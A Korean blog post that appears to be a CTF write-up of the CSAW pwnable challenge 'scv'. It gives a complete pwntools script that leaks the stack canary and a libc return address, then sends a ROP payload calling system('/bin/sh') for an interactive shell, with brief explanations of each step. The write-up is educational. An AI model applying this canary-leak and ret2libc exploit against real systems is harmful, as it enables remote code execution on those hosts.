블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 9. 20. 14:53 Hack/포너블

scv.tar.gz




문제 특징.

1. 버퍼 오버 플로우

2. 해당 버퍼의 내용을 볼 수 있음

3. canary 존재, NX 존재


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#-*- coding: utf-8 -*-
from pwn import *
 
# env = {'LD_PRELOAD':'./libc-2.23.so'}
# proc = process(["./scv"], env=env)
proc = remote('pwn.chal.csaw.io'3764)
 
# canary leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*164 + 'abcd' + 'e')    # buffer + canary_msb
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('abcd' + 'e')
 
canary = '\x00' + proc.recvn(7)
log.info("canary : " + hex(u64(canary))) # NULL + canary
 
# main_ret leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*168 + 'b'*8 + 'c'*8)    # buffer + canary + SFP
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('c'*8)
 
main_ret = proc.recvn(6+ '\x00\x00'
main_ret = u64(main_ret)
log.info("main_ret : " + hex(main_ret))
 
# exploit
libc_base = main_ret - 0x20830
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
rdi_addr = 0x400ea3
 
payload = ''
payload += 'a'*168
payload += canary
payload += p64(0xdeadbeef)
payload += p64(rdi_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
 
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send(payload)
 
pause()
 
proc.recvuntil('>>')
proc.sendline('3')
 
proc.interactive()
 
cs

1. canary leak

 canary의 종류가 최상위 1byte가 NULL인 canary이다. 따라서, 최상위 1byte를 채워주면 canary를 leak 할 수 있다.


2. main_ret leak

 canary를 leak한 것과 같이 main함수의 RET(__libc_start_main_ret)을 leak 한다.

 libc-database-master를 이용하여 라이브러리의 system 함수와 "bin/sh" 문자열의 주소를 구한다.


3. exploit

 해당 프로그램은 64bit 라서 매개변수를 레지스터로 넘겨줘야 한다. rdi에 "bin/sh"의 주소를 넣기 위해서 gadget을 찾는다.


 canary를 유지시키면서 Exploit!


후기.

 첫번째로 해멘 곳은 매개변수를 레지스터로 넘기는 부분이다. 64bit에서는 매개변수를 레지스터로 넘긴다는게 생각나지 않았다.. ROPgadget 툴을 처음 써보았다. 굉장히 좋은듯!

 두번째로 헤멘 곳은 출력받는 부분이다. 여태까지는 recv()를 써서 출력을 받았었는데, 이 함수 때문에 main_ret leak이 잘 안됐었다. 앞으로는 recvuntil()과 recvn()을 애용해야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy